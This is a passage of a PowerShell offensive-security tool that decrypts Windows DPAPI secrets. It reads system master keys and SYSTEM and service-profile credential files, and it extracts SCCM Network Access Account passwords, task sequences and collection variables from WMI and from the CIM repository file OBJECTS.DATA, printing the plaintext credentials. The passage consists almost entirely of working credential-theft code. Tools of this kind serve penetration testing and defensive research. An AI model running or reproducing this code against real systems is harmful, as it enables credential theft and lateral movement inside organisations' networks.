| { 714 | return [System.Security.Cryptography.ProtectedData]::Unprotect($blobBytes,$entropy,[System.Security.Cryptography.DataProtectionScope]::CurrentUser) 715 | } 716 | 717 | catch 718 | { 719 | return [System.Text.Encoding]::Unicode.GetBytes("MasterKey needed - $guidString") 720 | } 721 | } 722 | 723 | if ($MasterKeys.ContainsKey($guidString)) 724 | { 725 | $keyBytes = [System.Collections.Generic.List[byte]]::new() 726 | 727 | for ($i = 0; $i -lt $MasterKeys[$guidString].Length; $i += 2) 728 | { 729 | $keyBytes.Add([Convert]::ToByte($MasterKeys[$guidString].Substring($i, 2), 16)) 730 | } 731 | 732 | $keyBytes = $keyBytes.ToArray() 733 | 734 | try 735 | { 736 | $hmac = $null 737 | 738 | if($algHash -eq 32772) 739 | { 740 | $hmac = [System.Security.Cryptography.HMACSHA1]::new($keyBytes) 741 | } 742 | 743 | elseif ($algHash -eq 32782) 744 | { 745 | $hmac = [System.Security.Cryptography.HMACSHA512]::new($keyBytes) 746 | } 747 | 748 | else 749 | { 750 | Write-Host " [!] Unsupported hash algorithm: $algHash" 751 | return ,@() 752 | } 753 | 754 | $inputBytes = $saltBytes 755 | 756 | if ($entropy) 757 | { 758 | $inputBytes += $entropy 759 | } 760 | 761 | $derivedKeyBytes = $hmac.ComputeHash($inputBytes) 762 | $hmac.Dispose() 763 | 764 | $keySize = $algCryptLen / 8 765 | $finalKeyBytes = $derivedKeyBytes[0..($keySize-1)] 766 | 767 | $padding = if ($blobType -eq "credential") { "PKCS7" } else { "None" } 768 | $decrypted = Decrypt-Blob -ciphertext $dataBytes -key $finalKeyBytes -algId $algCrypt 769 | 770 | if ($blobType -eq "credential") 771 | { 772 | # I dont think we are missing anything by redacting this. Its produces alot of garbage around the data anyway. Should loop back to this later 773 | #$decText = [System.Text.Encoding]::Unicode.GetString($decrypted) 774 | #Write-Host " dec(blob) : $decText" 775 | } 776 | 777 | return $decrypted 778 | } 779 | 780 | catch 781 | { 782 | Write-Host " [X] Error during decryption: $_" 783 | } 784 | } 785 | 786 | else 787 | { 788 | if ($blobType -in "rdg","chrome") 789 | { 790 | return [System.Text.Encoding]::Unicode.GetBytes("MasterKey needed - $guidString") 791 | } 792 | 793 | else 794 | { 795 | Write-Host " [!] MasterKey GUID not in cache: $guidString" 796 | } 797 | } 798 | 799 | return ,@() 800 | } 801 | 802 | function Decrypt-Blob { 803 | param ([byte[]] $ciphertext, [byte[]] $key,[int] $algId) 804 | 805 | # Decrypts ciphertext using 3DES or AES-256 based on algorithm ID. Helper for Describe-DPAPIBlob. 806 | # Hand-off: Returns plaintext to Describe-DPAPIBlob. 807 | 808 | switch ($algId) { 809 | 26115 { # CALG_3DES 810 | $ivBytes = New-Object byte[] 8 811 | $des = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider 812 | $des.Key = $key 813 | $des.IV = $ivBytes 814 | $des.Mode = [System.Security.Cryptography.CipherMode]::CBC 815 | $des.Padding= [System.Security.Cryptography.PaddingMode]::Zeros 816 | 817 | try 818 | { 819 | $decryptor = $des.CreateDecryptor() 820 | return $decryptor.TransformFinalBlock($ciphertext, 0, $ciphertext.Length) 821 | } 822 | 823 | catch 824 | { 825 | Write-Warning "3DES decryption failed: $_" 826 | return $null 827 | } 828 | 829 | finally 830 | { 831 | 832 | if ($des) 833 | { 834 | $des.Dispose() 835 | } 836 | } 837 | } 838 | 839 | 26128 { # CALG_AES_256 840 | $ivBytes = New-Object byte[] 16 841 | $aes = New-Object System.Security.Cryptography.AesManaged 842 | $aes.Key = $key 843 | $aes.IV = $ivBytes 844 | $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC 845 | $aes.Padding= [System.Security.Cryptography.PaddingMode]::Zeros 846 | 847 | try 848 | { 849 | $decryptor = $aes.CreateDecryptor() 850 | return $decryptor.TransformFinalBlock($ciphertext, 0, $ciphertext.Length) 851 | } 852 | catch 853 | { 854 | Write-Warning "AES decryption failed: $_" 855 | return $null 856 | } 857 | 858 | finally 859 | { 860 | if ($aes) 861 | { 862 | $aes.Dispose() 863 | } 864 | } 865 | } 866 | 867 | default 868 | { 869 | return "[!] Unsupported algorithm: $algId" 870 | } 871 | } 872 | } 873 | 874 | enum CryptAlg { 875 | CALG_SHA1 = 32772 876 | CALG_SHA_512 = 32782 877 | CALG_AES_256 = 26128 878 | CALG_3DES = 26115 879 | } 880 | 881 | 882 | function Is-Unicode { 883 | param ([byte[]] $bytes) 884 | 885 | # Helper that checks if byte array contains Unicode data. Used during blob decryption analysis. 886 | 887 | if ($bytes.Length -lt 2) 888 | { 889 | return $false 890 | } 891 | 892 | # Check for UTF-16 LE/BE BOM or even-length characteristic 893 | return ( 894 | ($bytes[0] -eq 0xFF -and $bytes[1] -eq 0xFE) -or # UTF-16 LE BOM 895 | ($bytes[0] -eq 0xFE -and $bytes[1] -eq 0xFF) -or # UTF-16 BE BOM 896 | ($bytes.Length % 2 -eq 0) # Even-length data 897 | ) 898 | } 899 | 900 | function Decrypt-NAA { 901 | param ([string] $Blob, [hashtable] $MasterKeys) 902 | 903 | # Decrypts Network Access Account (NAA) credential blobs from SCCM using DPAPI master keys. 904 | # Hand-off: Uses Describe-DPAPIBlob. Returns cleartext to Decrypt-LocalNetworkAccessAccountsWmi. 905 | 906 | $size = [int]($Blob.Length / 2) 907 | [byte[]] $blobBytes = New-Object byte[] $size 908 | 909 | for ($i = 0; $i -lt $Blob.Length; $i += 2) 910 | { 911 | $blobBytes[$i / 2] = [Convert]::ToByte($Blob.Substring($i, 2), 16) 912 | } 913 | 914 | $offset = 4 915 | $size2 = [int]($Blob.Length / 2) 916 | [byte[]] $unmanagedArray = New-Object byte[] $size2 917 | [System.Buffer]::BlockCopy($blobBytes, 4, $unmanagedArray, 0, $blobBytes.Length - $offset) 918 | $blobBytes = $unmanagedArray 919 | 920 | if ($blobBytes.Length -gt 0) 921 | { 922 | [byte[]] $decBytesRaw = Describe-DPAPIBlob $blobBytes $MasterKeys 923 | 924 | if ($decBytesRaw -ne $null -and $decBytesRaw.Length -ne 0) 925 | { 926 | if (Is-Unicode $decBytesRaw) 927 | { 928 | $finalIndex = [Array]::LastIndexOf($decBytesRaw, [byte]0) 929 | 930 | if ($finalIndex -gt 1) 931 | { 932 | $decBytes = New-Object byte[] ($finalIndex + 1) 933 | [System.Array]::Copy($decBytesRaw, 0, $decBytes, 0, $finalIndex) 934 | $data = [System.Text.Encoding]::Unicode.GetString($decBytes) 935 | 936 | # Write-Host " dec(blob) : $data" 937 | 938 | return $data 939 | } 940 | 941 | else 942 | { 943 | $data = [System.Text.Encoding]::ASCII.GetString($decBytesRaw) 944 | if ($TaskSequence){ return $data } 945 | 946 | # Write-Host " dec(blob) : $data" 947 | 948 | return $data 949 | } 950 | } 951 | 952 | else 953 | { 954 | $hexData = ($decBytesRaw | ForEach-Object { $_.ToString("X2") }) -join " " 955 | 956 | # Write-Host " dec(blob) : $hexData" 957 | 958 | return $hexData 959 | } 960 | } 961 | 962 | else 963 | { 964 | return $null 965 | } 966 | } 967 | 968 | else 969 | { 970 | return $null 971 | } 972 | } 973 | 974 | 975 | function Triage-SystemMasterKeys { 976 | 977 | # Recursively searches for DPAPI master keys on disk and decrypts them using system DPAPI keys. 978 | # Hand-off: Uses Get-DPAPIKeys, Decrypt-MasterKeyWithSha. Returns GUID:key mapping to decryption functions. 979 | 980 | if ($global:mappings -and $global:mappings.Count -gt 0) 981 | { 982 | return $global:mappings 983 | } 984 | 985 | $global:mappings = @{} 986 | $dpapiKeys = Get-DPAPIKeys 987 | 988 | $rootPath = "$env:SystemRoot\System32\Microsoft\Protect\" 989 | 990 | Get-ChildItem -Path $rootPath -Recurse -Force | Where-Object { -not $_.PSIsContainer } | ForEach-Object { 991 | 992 | if ([Regex]::IsMatch($_.Name, "^(\{{0,1}([0-9a-fA-F]){8}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){12}\}{0,1})$")) 993 | { 994 | try 995 | { 996 | $masterKeyBytes = [IO.File]::ReadAllBytes($_.FullName) 997 | $parentDir = $_.Directory.Name 998 | $grandParentDir = $_.Directory.Parent.Name 999 | 1000 | if ($parentDir -eq 'User') { $shaBytes = $dpapiUserKeysBytes } 1001 | elseif ($parentDir -eq 'Machine') { $shaBytes = $dpapiMachineKeysBytes } 1002 | elseif ($grandParentDir -like 'S-1-5-*') { $shaBytes = $dpapiUserKeysBytes } 1003 | else { $shaBytes = $dpapiMachineKeysBytes } 1004 | 1005 | $plainTextMasterKey = Decrypt-MasterKeyWithSha -MasterKeyBytes $masterKeyBytes -SHABytes $shaBytes 1006 | 1007 | foreach ($key in $plainTextMasterKey.Keys) 1008 | { 1009 | $global:mappings[$key] = $plainTextMasterKey[$key] 1010 | } 1011 | } 1012 | 1013 | catch 1014 | { 1015 | Write-Host "[!] Error triaging $($_.FullName): $($_.Exception.Message)" 1016 | } 1017 | } 1018 | } 1019 | 1020 | Write-Host "[*] SYSTEM master key cache:" 1021 | 1022 | foreach ($key in $global:mappings.Keys) 1023 | { 1024 | Write-Host "$key`:$($global:mappings[$key])" 1025 | } 1026 | 1027 | Write-Host "`n`n" 1028 | 1029 | return $global:mappings 1030 | } 1031 | 1032 | function Decrypt-LocalNetworkAccessAccountsWmi { 1033 | param ([System.Collections.IEnumerable] $NetworkAccessAccounts, [hashtable] $MasterKeys) 1034 | 1035 | # Decrypts SCCM Network Access Account credentials retrieved via WMI. 1036 | # Hand-off: Uses Triage-SystemMasterKeys and Decrypt-NAA. Outputs credentials to console. 1037 | 1038 | Write-Host "[+] Decrypting network access account credentials`n" 1039 | 1040 | foreach ($account in $NetworkAccessAccounts) 1041 | { 1042 | try 1043 | { 1044 | $protectedUsername = ($account.NetworkAccessUsername -split '\[')[2] -split '\]' | Select-Object -First 1 1045 | $protectedPassword = ($account.NetworkAccessPassword -split '\[')[2] -split '\]' | Select-Object -First 1 1046 | 1047 | $username = Decrypt-NAA -Blob $protectedUsername -MasterKeys $MasterKeys 1048 | $password = Decrypt-NAA -Blob $protectedPassword -MasterKeys $MasterKeys 1049 | 1050 | if ($username -like "00 00 0E 0E 0E*" -or $password -like "00 00 0E 0E 0E*") 1051 | { 1052 | Write-Host "[!] SCCM is configured to use the client's machine account instead of NAA`n" 1053 | } 1054 | 1055 | else 1056 | { 1057 | Write-Host "`n" 1058 | 1059 | Write-Host " Network Access Username: $username" 1060 | Write-Host " Network Access Password: $password" 1061 | 1062 | Write-Host "`n" 1063 | } 1064 | } 1065 | 1066 | catch 1067 | { 1068 | Write-Host "[!] Error decrypting NAA credentials: $_" 1069 | } 1070 | } 1071 | } 1072 | 1073 | 1074 | 1075 | function Format-XML { 1076 | param ([xml]$xml, [int]$indent = 2) 1077 | 1078 | $StringWriter = New-Object System.IO.StringWriter 1079 | $XmlWriter = New-Object System.Xml.XmlTextWriter $StringWriter 1080 | $XmlWriter.Formatting = "indented" 1081 | $XmlWriter.Indentation = $indent 1082 | $xml.WriteContentTo($XmlWriter) 1083 | $XmlWriter.Flush() 1084 | $StringWriter.Flush() 1085 | return $StringWriter.ToString() 1086 | } 1087 | 1088 | function Decrypt-LocalTaskSequencesWMI { 1089 | param ([array] $TaskSequences, [hashtable] $MasterKeys) 1090 | 1091 | Write-Host "[+] Decrypting Task Sequences`n" 1092 | 1093 | foreach ($taskSequence in $TaskSequences) 1094 | { 1095 | try 1096 | { 1097 | if ($taskSequence.TS_Sequence -match "") 1098 | { 1099 | $hexData = $matches[1] -replace '\s', '' 1100 | $plaintext = Decrypt-NAA -Blob $hexData -MasterKeys $MasterKeys 1101 | 1102 | if ($plaintext -is [byte[]]) 1103 | { 1104 | $plaintext = [System.Text.Encoding]::UTF8.GetString($plaintext) 1105 | } 1106 | 1107 | Write-Host "`n" 1108 | Write-Host "[+] Task Sequence: " 1109 | Write-Host "`n" 1110 | 1111 | $xmlMatch = Select-String -InputObject $plaintext -Pattern "]*?>.*?" -AllMatches 1112 | $xmlPrinted = $false 1113 | 1114 | if ($xmlMatch.Matches.Count -gt 0) 1115 | { 1116 | foreach ($match in $xmlMatch.Matches) 1117 | { 1118 | try 1119 | { 1120 | $sequenceXml = [xml]$match.Value 1121 | Format-XML $sequenceXml | Write-Host -ForegroundColor Gray 1122 | $xmlPrinted = $true 1123 | Write-Host 1124 | 1125 | if ($global:NoSave) 1126 | { 1127 | continue 1128 | } 1129 | 1130 | $timestamp = Get-Date -Format "yyyy" 1131 | $Random = Get-Random -Minimum 1 -Maximum 10000 1132 | $cleanName = $taskSequence.Name -replace '[^\w\s-]', '' 1133 | $fileName = "TaskSequence_${cleanName}_${timestamp}_${Random}.xml" 1134 | 1135 | Start-Sleep -Milliseconds 10 1136 | $sequenceXml.Save((Join-Path -Path $pwd -ChildPath $fileName)) 1137 | 1138 | Write-Host "`n" 1139 | Write-Host "[+] Saved XML to: $fileName" 1140 | } 1141 | 1142 | catch 1143 | { 1144 | Write-Host " [!] Extracted content is not valid XML" 1145 | } 1146 | } 1147 | } 1148 | 1149 | if (-not $xmlPrinted) 1150 | { 1151 | Write-Host " Decrypted Value: $plaintext" 1152 | } 1153 | 1154 | Write-Host "`n" 1155 | } 1156 | 1157 | else 1158 | { 1159 | Write-Host "[!] No CDATA found in Task Sequence: $($taskSequence.Name)" -ForegroundColor "Yellow" 1160 | } 1161 | } 1162 | 1163 | catch 1164 | { 1165 | Write-Host "[!] Error decrypting Task Sequence '$($taskSequence.Name)': $_" -ForegroundColor "Yellow" 1166 | } 1167 | } 1168 | } 1169 | 1170 | 1171 | 1172 | function Triage-SccmWMI { 1173 | param ([hashtable]$MasterKeys) 1174 | 1175 | # Main orchestrator for SCCM secret decryption via WMI. Retrieves NAA/Task Sequences and triggers decryption. 1176 | # Hand-off: Calls Triage-SystemMasterKeys, Decrypt-LocalNetworkAccessAccountsWmi, and Decrypt-LocalTaskSequencesWMI. 1177 | 1178 | $naa = @(Get-WmiObject -Namespace "root\ccm\policy\Machine\ActualConfig" -Class CCM_NetworkAccessAccount -ErrorAction SilentlyContinue) 1179 | $tasks = @(Get-WmiObject -Namespace "root\ccm\policy\Machine\ActualConfig" -Class CCM_TaskSequence -ErrorAction SilentlyContinue) 1180 | 1181 | if ($naa.Count -gt 0) 1182 | { 1183 | Write-Host "[+] Found $($naa.Count) Network Access Account(s)" 1184 | Decrypt-LocalNetworkAccessAccountsWmi -NetworkAccessAccounts $naa -MasterKeys $MasterKeys 1185 | } 1186 | 1187 | else 1188 | { 1189 | Write-Host "[!] No Network Access Accounts found" 1190 | } 1191 | 1192 | if ($tasks.Count -gt 0) 1193 | { 1194 | Write-Host "[+] Found $($tasks.Count) Task Sequence(s)" 1195 | Decrypt-LocalTaskSequencesWMI -TaskSequences $tasks -MasterKeys $MasterKeys 1196 | } 1197 | 1198 | else 1199 | { 1200 | Write-Host "[!] No Task Sequences found" 1201 | } 1202 | } 1203 | 1204 | function Triage-SccmDisk { 1205 | param ([hashtable] $Masterkeys) 1206 | 1207 | # Reads and parses the CIM repository OBJECTS.DATA file for SCCM policy secrets, 1208 | # matches secret types using regex, and attempts DPAPI decryption using discovered master keys. 1209 | # Outputs each decrypted secret type in a readable format. 1210 | 1211 | # Determine OBJECTS.DATA path based on architecture 1212 | $Path = "$env:SystemDrive\Windows\Sysnative\Wbem\Repository\OBJECTS.DATA" 1213 | if (-not [System.IO.File]::Exists($Path)) 1214 | { 1215 | $Path = "$env:SystemDrive\Windows\System32\Wbem\Repository\OBJECTS.DATA" 1216 | } 1217 | 1218 | if ([System.IO.File]::Exists($Path)) 1219 | { 1220 | $fs = [System.IO.FileStream]::new($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite) 1221 | $sr = [System.IO.StreamReader]::new($fs, [System.Text.Encoding]::Default) 1222 | $fileData = $sr.ReadToEnd() 1223 | $sr.Close() 1224 | $fs.Close() 1225 | } 1226 | else 1227 | { 1228 | Write-Host "`n[!] OBJECTS.DATA does not exist or is not readable`n" 1229 | return 1230 | } 1231 | 1232 | # Define regex patterns to match in OBJECTS.DATA 1233 | $regexes = @{ 1234 | "networkAccessAccounts" = [regex]::new( 1235 | 'CCM_NetworkAccessAccount.*.*?)\]\]>.*.*?)\]\]>', 1236 | [System.Text.RegularExpressions.RegexOptions]::Multiline -bor 1237 | [System.Text.RegularExpressions.RegexOptions]::IgnoreCase 1238 | ) 1239 | "taskSequences" = [regex]::new( 1240 | '.*.*?)\]\]>', 1241 | [System.Text.RegularExpressions.RegexOptions]::Multiline -bor 1242 | [System.Text.RegularExpressions.RegexOptions]::IgnoreCase 1243 | ) 1244 | "collectionVariables" = [regex]::new( 1245 | 'CCM_CollectionVariable\x00\x00(?.*?)\x00\x00.*.*?)\]\]>', 1246 | [System.Text.RegularExpressions.RegexOptions]::Multiline -bor 1247 | [System.Text.RegularExpressions.RegexOptions]::IgnoreCase 1248 | ) 1249 | "allSecrets" = [regex]::new( 1250 | '.*?)\]\]>', 1251 | [System.Text.RegularExpressions.RegexOptions]::Multiline -bor 1252 | [System.Text.RegularExpressions.RegexOptions]::IgnoreCase 1253 | ) 1254 | } 1255 | 1256 | $matches = @{ 1257 | "network access account" = @($regexes["networkAccessAccounts"].Matches($fileData)) 1258 | "task sequence" = @($regexes["taskSequences"].Matches($fileData)) 1259 | "collection variable" = @($regexes["collectionVariables"].Matches($fileData)) 1260 | "other" = @($regexes["allSecrets"].Matches($fileData)) 1261 | } 1262 | 1263 | if ($matches["other"].Count -gt 0) 1264 | { 1265 | $MasterKeys = Triage-SystemMasterKeys 1266 | $seenBlobs = @{} 1267 | 1268 | foreach ($matchKeyValuePair in $matches.GetEnumerator()) 1269 | { 1270 | if ($matchKeyValuePair.Value.Count -gt 0) 1271 | { 1272 | Write-Host "`n[+] Decrypting $($matchKeyValuePair.Value.Count) $($matchKeyValuePair.Key) secrets" 1273 | 1274 | for ($index = 0; $index -lt $matchKeyValuePair.Value.Count; $index++) 1275 | { 1276 | $match = $matchKeyValuePair.Value[$index] 1277 | for ($idxGroup = 1; $idxGroup -lt $match.Groups.Count; $idxGroup++) 1278 | { 1279 | $groupName = $match.Groups[$idxGroup].Name 1280 | $groupValue = $match.Groups[$idxGroup].Value 1281 | 1282 | # Deduplication: skip if this blob has already been processed 1283 | # Likely this can stay but should test this on a larger number of machines to ensure we are not skipping data 1284 | if ($seenBlobs.ContainsKey($groupValue)) { continue } 1285 | $seenBlobs[$groupValue] = $true 1286 | 1287 | try 1288 | { 1289 | if ($groupName -eq "CollectionVariableName") 1290 | { 1291 | $collectionVariableValue = Decrypt-NAA -Blob $match.Groups[$idxGroup + 1].Value -MasterKeys $MasterKeys 1292 | Write-Host "`n CollectionVariableName: $groupValue" 1293 | Write-Host " CollectionVariableValue: $collectionVariableValue" 1294 | } 1295 | 1296 | elseif ($groupName -eq "NetworkAccessPassword") 1297 | { 1298 | $networkAccessUsername = Decrypt-NAA -Blob $match.Groups[$idxGroup + 1].Value -MasterKeys $MasterKeys 1299 | $networkAccessPassword = Decrypt-NAA -Blob $groupValue -MasterKeys $MasterKeys 1300 | Write-Host "`n NetworkAccessUsername: $networkAccessUsername" 1301 | Write-Host " NetworkAccessPassword: $networkAccessPassword" 1302 | Write-Host 1303 | if ($networkAccessUsername -like "00 00 0E 0E 0E*" -or $networkAccessPassword -like "00 00 0E 0E 0E*") 1304 | { 1305 | Write-Host " [!] At the point in time this secret was downloaded, SCCM was configured to use the client's machine account instead of NAA" 1306 | } 1307 | } 1308 | 1309 | 1310 | elseif ($groupName -eq "CollectionVariableValue" -or $groupName -eq "NetworkAccessUsername") 1311 | { 1312 | 1313 | } 1314 | 1315 | else 1316 | { 1317 | $secretPlaintext = Decrypt-NAA -Blob $groupValue -MasterKeys $MasterKeys 1318 | $xmlMatch = Select-String -InputObject $secretPlaintext -Pattern "]*?>.*?" -AllMatches 1319 | $xmlPrinted = $false 1320 | 1321 | if ($xmlMatch.Matches.Count -gt 0) 1322 | { 1323 | 1324 | foreach ($match in $xmlMatch.Matches) 1325 | { 1326 | 1327 | Write-Host "`n" 1328 | $sequenceXml = [xml]$match.Value 1329 | Format-XML $sequenceXml | Write-Host -ForegroundColor "Gray" 1330 | 1331 | if ($Global:NoSave) 1332 | { 1333 | Continue 1334 | } 1335 | 1336 | else 1337 | { 1338 | $timestamp = Get-Date -Format "yyyy" 1339 | $Random = Get-Random -Minimum 1 -Maximum 10000 1340 | $cleanName = $taskSequence.Name -replace '[^\w\s-]', '' 1341 | $fileName = "TaskSequence_${cleanName}_${timestamp}_${Random}.xml" 1342 | 1343 | Start-Sleep -Milliseconds 10 1344 | $sequenceXml.Save((Join-Path -Path $pwd -ChildPath $fileName)) 1345 | 1346 | Write-Host "`n" 1347 | Write-Host "[+] Saved XML to: $fileName" 1348 | } 1349 | } 1350 | 1351 | $xmlPrinted = $true 1352 | } 1353 | 1354 | if (-not $xmlPrinted) 1355 | { 1356 | # Not sure how needed this is.. At this point this is usually garbage data that only serves to clutter the output 1357 | #Write-Host "`n Plaintext secret: $secretPlaintext" 1358 | } 1359 | 1360 | } 1361 | 1362 | } 1363 | 1364 | catch 1365 | { 1366 | Write-Host "`n[!] Data was not decrypted (Redacted Output)" 1367 | 1368 | $LimitLength = [Math]::Min(100, $groupValue.Length) 1369 | Write-Host "$($groupValue.Substring(0, $($LimitLength)))..." 1370 | Write-Host "`n" 1371 | } 1372 | } 1373 | } 1374 | } 1375 | } 1376 | } 1377 | else 1378 | { 1379 | Write-Host "[!] No policy secrets found" 1380 | } 1381 | 1382 | Write-Host "`n" 1383 | } 1384 | 1385 | function Triage-SystemCreds { 1386 | param([hashtable]$MasterKeys) 1387 | 1388 | # Orchestrates system credential enumeration and decryption across multiple Windows service profiles. 1389 | # Hand-off: Calls Triage-CredFolder for each credential location, which triggers Triage-CredFile and Parse-DecCredBlob. 1390 | 1391 | Write-Host "`n[*] Triaging System Credentials`n" 1392 | 1393 | $folderLocations = @( 1394 | "${env:SystemRoot}\System32\config\systemprofile\AppData\Local\Microsoft\Credentials", 1395 | "${env:SystemRoot}\System32\config\systemprofile\AppData\Roaming\Microsoft\Credentials", 1396 | "${env:SystemRoot}\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials", 1397 | "${env:SystemRoot}\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Credentials", 1398 | "${env:SystemRoot}\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Credentials", 1399 | "${env:SystemRoot}\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Credentials" 1400 | ) 1401 | 1402 | foreach ($location in $folderLocations) 1403 | { 1404 | if (Test-Path -Path $location -PathType Container) 1405 | { 1406 | Write-Host 1407 | Write-Host "Folder : $location" 1408 | Triage-CredFolder -Folder $location -MasterKeys $MasterKeys 1409 | } 1410 | } 1411 | } 1412 | 1413 | 1414 | function Triage-CredFile { 1415 | param ([string] $CredFilePath, [hashtable]$MasterKeys) 1416 | 1417 | # Processes individual credential files by reading and initiating DPAPI blob decryption. 1418 | # Hand-off: Calls Describe-Credential with credential file bytes and master keys for decryption. 1419 | 1420 | $FileName = [System.IO.Path]::GetFileName($CredFilePath) 1421 | Write-Host "`n" 1422 | Write-Host " CredFile : $FileName" 1423 | try 1424 | { 1425 | $CredentialArray = [System.IO.File]::ReadAllBytes($CredFilePath) 1426 | Describe-Credential $CredentialArray $MasterKeys 1427 | } 1428 | catch 1429 | { 1430 | Write-Host " [!] ERROR processing file: $CredFilePath" 1431 | Write-Host " Exception: $($_.Exception.Message)" 1432 | } 1433 | } 1434 | 1435 | 1436 | function Triage-CredFolder { 1437 | param ([string]$Folder, [hashtable]$MasterKeys) 1438 | 1439 | # Enumerates credential files within a specified folder and processes each one. 1440 | # Hand-off: Calls Triage-CredFile for each credential file found in the target directory. 1441 | 1442 | if ([string]::IsNullOrEmpty($Folder) -or -not (Test-Path -Path $Folder -PathType Container)) 1443 | { 1444 | Write-Host "Folder : $Folder (does not exist or invalid path)" 1445 | return 1446 | } 1447 | 1448 | $SystemFiles = [System.IO.Directory]::GetFiles($Folder) 1449 | if ($SystemFiles.Length -eq 0) 1450 | { 1451 | Write-Host "Folder : $Folder (no files found)" 1452 | return 1453 | } 1454 | 1455 | foreach ($File in $SystemFiles) 1456 | { 1457 | try 1458 | { 1459 | Triage-CredFile -CredFilePath $File -MasterKeys $MasterKeys 1460 | } 1461 | catch 1462 | { 1463 | Write-Host " [!] ERROR processing file: $File" 1464 | Write-Host " Exception: $($_.Exception.Message)" 1465 | } 1466 | } 1467 | } 1468 | 1469 | 1470 | function Describe-Credential { 1471 | param([byte[]]$CredentialBytes, [hashtable]$MasterKeys) 1472 | 1473 | # Initiates DPAPI blob decryption for credential data and parses the decrypted result. 1474 | # Hand-off: Calls Describe-DPAPIBlob for decryption, then Parse-DecCredBlob for credential parsing. 1475 | 1476 | $plaintextBytes = Describe-DPAPIBlob -Blobbytes $CredentialBytes -MasterKeys $MasterKeys -blobType "credential" 1477 | if ($null -eq $plaintextBytes -or $plaintextBytes.Length -eq 0) 1478 | { 1479 | Write-Host " [X] Decryption failed or returned no data." 1480 | return 1481 | } 1482 | 1483 | Parse-DecCredBlob -DecBlobBytes $plaintextBytes 1484 | } 1485 | 1486 | function Parse-DecCredBlob { 1487 | param([byte[]]$DecBlobBytes) 1488 | 1489 | # Parses decrypted credential blob structure to extract credential metadata and secrets. 1490 | # Hand-off: Terminal function that outputs credential details including username, target, and password data. 1491 | 1492 | 1493 | $offset = 0 1494 | try 1495 | { 1496 | $credFlags = [BitConverter]::ToUInt32($DecBlobBytes, $offset) 1497 | $offset += 4 1498 | $credSize = [BitConverter]::ToUInt32($DecBlobBytes, $offset) 1499 | $offset += 4 1500 | $credUnk0 = [BitConverter]::ToUInt32($DecBlobBytes, $offset) 1501 | $offset += 4 1502 | $type = [BitConverter]::ToUInt32($DecBlobBytes, $offset) 1503 | $offset += 4 1504 | $flags = [BitConverter]::ToUInt32($DecBlobBytes, $offset) 1505 | $offset += 4 1506 | 1507 | $lastWritten = [BitConverter]::ToInt64($DecBlobBytes, $offset) 1508 | $offset += 8 1509 | 1510 | try 1511 | { 1512 | $lastWrittenTime = [DateTime]::FromFileTime($lastWritten) 1513 | $currentDate = Get-Date 1514 | 1515 | if (($lastWrittenTime -lt $currentDate.AddYears(-20)) -or 1516 | ($lastWrittenTime -gt $currentDate.AddYears(1))) 1517 | { 1518 | Write-Host " [!] Decryption failed, likely incorrect password for the associated masterkey" 1519 | return 1520 | } 1521 | } 1522 | catch 1523 | { 1524 | Write-Host " [!] Decryption failed, likely incorrect password for the associated masterkey" 1525 | return 1526 | } 1527 | 1528 | $unkFlagsOrSize = [BitConverter]::ToUInt32($DecBlobBytes, $offset) 1529 | $offset += 4 1530 | $persist = [BitConverter]::ToUInt32($DecBlobBytes, $offset) 1531 | $offset += 4 1532 | $attributeCount = [BitConverter]::ToUInt32($DecBlobBytes, $offset) 1533 | $offset += 4 1534 | $unk0 = [BitConverter]::ToUInt32($DecBlobBytes, $offset) 1535 | $offset += 4 1536 | $unk1 = [BitConverter]::ToUInt32($DecBlobBytes, $offset) 1537 | $offset += 4 1538 | 1539 | $targetNameLen = [BitConverter]::ToInt32($DecBlobBytes, $offset) 1540 | $offset += 4 1541 | $targetName = if ($targetNameLen -gt 0 -and $targetNameLen -le ($DecBlobBytes.Length - $offset)) 1542 | { 1543 | [System.Text.Encoding]::Unicode.GetString($DecBlobBytes, $offset, $targetNameLen) 1544 | } 1545 | else { "" } 1546 | $offset += $targetNameLen 1547 | 1548 | $targetAliasLen = [BitConverter]::ToInt32($DecBlobBytes, $offset) 1549 | $offset += 4 1550 | $targetAlias = if ($targetAliasLen -gt 0 -and $targetAliasLen -le ($DecBlobBytes.Length - $offset)) 1551 | { 1552 | [System.Text.Encoding]::Unicode.GetString($DecBlobBytes, $offset, $targetAliasLen) 1553 | } 1554 | else { "" } 1555 | $offset += $targetAliasLen 1556 | 1557 | $commentLen = [BitConverter]::ToInt32($DecBlobBytes, $offset) 1558 | $offset += 4 1559 | $comment = if ($commentLen -gt 0 -and $commentLen -le ($DecBlobBytes.Length - $offset)) 1560 | { 1561 | [System.Text.Encoding]::Unicode.GetString($DecBlobBytes, $offset, $commentLen) 1562 | } 1563 | else { "" } 1564 | $offset += $commentLen 1565 | 1566 | $unkDataLen = [BitConverter]::ToInt32($DecBlobBytes, $offset) 1567 | $offset += 4 1568 | $unkData = if ($unkDataLen -gt 0 -and $unkDataLen -le ($DecBlobBytes.Length - $offset)) 1569 | { 1570 | [System.Text.Encoding]::Unicode.GetString($DecBlobBytes, $offset, $unkDataLen) 1571 | } 1572 | else { "" } 1573 | $offset += $unkDataLen 1574 | 1575 | $userNameLen = [BitConverter]::ToInt32($DecBlobBytes, $offset) 1576 | $offset += 4 1577 | $userName = if ($userNameLen -gt 0 -and $userNameLen -le ($DecBlobBytes.Length - $offset)) 1578 | { 1579 | [System.Text.Encoding]::Unicode.GetString($DecBlobBytes, $offset, $userNameLen) 1580 | } 1581 | else { "" } 1582 | $offset += $userNameLen 1583 | 1584 | $credBlobLen = [BitConverter]::ToInt32($DecBlobBytes, $offset) 1585 | $offset += 4 1586 | $credBlobBytes = if ($credBlobLen -gt 0 -and $credBlobLen -le ($DecBlobBytes.Length - $offset)) 1587 | { 1588 | $tmp = New-Object byte[] $credBlobLen 1589 | [Array]::Copy($DecBlobBytes, $offset, $tmp, 0, $credBlobLen) 1590 | $tmp 1591 | } 1592 | else { @() } 1593 | $offset += $credBlobLen 1594 | 1595 | Write-Host "`n" 1596 | Write-Host (" guidMasterKey : {0}" -f $global:CurrentGuidMasterKey) 1597 | Write-Host (" 